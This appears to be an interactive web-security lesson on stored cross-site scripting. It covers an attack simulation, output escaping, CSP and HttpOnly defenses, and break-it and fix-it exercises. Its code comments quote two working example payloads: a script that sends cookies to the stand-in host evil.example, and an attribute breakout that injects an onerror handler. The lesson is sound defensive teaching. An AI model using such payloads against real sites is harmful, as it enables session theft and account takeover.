XSS

Injecting scripts into other users' browsers

L216 MINSECURITY
PREDICT

The forum deletes every <script> tag from comments before saving them, and renders everything else as HTML so users can write bold text. Is it safe from stored XSS, where a saved comment runs script in every reader's browser?

The server pastes stored user text into its HTML. If that text contains markup, the victim’s browser parses it as part of the page. A <script> or an onerror= attribute then runs with the site’s origin: it sees the DOM, sends requests with the user’s cookies, and reads any cookie not marked HttpOnly.

The fix is on output. Escape every value for the context it lands in, so < and “ display as characters instead of ending a tag or an attribute. A Content-Security-Policy without ‘unsafe-inline’ is the second layer: injected inline script will not run. HttpOnly limits what a successful script can take.

▶ SIMULATION
ATTACKER
comments posted 0
received: —
FORUM SERVER
output: raw · CSP: none
comments stored 0 (stored as typed)
VICTIM BROWSER
cookies: —
account email: victim@mail.example
ran 0 · blocked by CSP 0
last—
✓ user content never executes in the victim's browser
SCHEDULE
01[SERVER]server: comments rendered raw; no CSP; session cookie readable by JS
02[VICTIM]victim logs in: cookies session=… and theme=dark
03[USER]alice posts a comment
04[ATTACKER]attacker posts a comment with <script>…</script>
05[ATTACKER]attacker posts a comment whose NAME breaks out of alt="…"
06[SERVER]server renders /thread for the victim from the stored comments
07[VICTIM]victim's browser parses the page and finds what would run
08[VICTIM]browser runs it, unless CSP forbids inline script
09[SERVER]report
Start of stored xss scenario. 9 steps.
// template: values pasted into HTML as-is
`<img alt="${c.name}" src="/avatar.png"><b>${c.name}</b><p>${c.body}</p>`

// body: <script>new Image().src='//evil.example/c?'+document.cookie</script>
// name: m" src=x onerror="fetch('/account/email',...)
//   -> <img alt="m" src=x onerror="fetch(...)" src="/avatar.png">

Watch the invariant strip and the VICTIM BROWSER box. STORED XSS and HTTPONLY ONLY both turn red: HttpOnly hides the session cookie, but the second payload still changes the account email. ESCAPE OUTPUT finds zero script in the page. CSP finds two and refuses both.

BREAK IT NOT YET

This forum strips <script> tags and lets the rest of the HTML through, so users can write <b>. Post one attacker comment, at a point where it runs in the victim's browser.

GOAL: attacker content runs in the victim's browser

FIX IT NOT YET

Write escapeHtml(s). The grader pastes payloads into a template that uses it in element text, a double-quoted attribute and a single-quoted attribute, parses the result like a browser, and checks that nothing runs and every value displays exactly as typed.

Mental model:

XSS is user data parsed as code, because it was pasted into a language (HTML) without being encoded for it. Store input as typed; escape on output, for the exact context it lands in. CSP is the net under that rule, and HttpOnly decides how bad a fall is. Neither replaces the rule.

IN PRODUCTION

Template engines with auto-escaping (React JSX, Jinja2, ERB, Go html/template), and every place that bypasses it: dangerouslySetInnerHTML, |safe, innerHTML =, markdown renderers that allow raw HTML. Rich text needs an allowlist sanitizer (DOMPurify), never a blocklist. Production CSPs use nonces or hashes for their own inline script.

IN INTERVIEWS

“What is XSS and how do you prevent it?” Separate stored, reflected and DOM-based. Say escape on output by context (text, attribute, URL, JS), never by blocklist. Name CSP as defense in depth and HttpOnly as damage limitation, and say what each does not stop.

RECALL CARDS Tap to flip. They join your review deck when you mark the lesson complete.

USED IN

Chapters that build on this lesson.

NEXT: CSRF →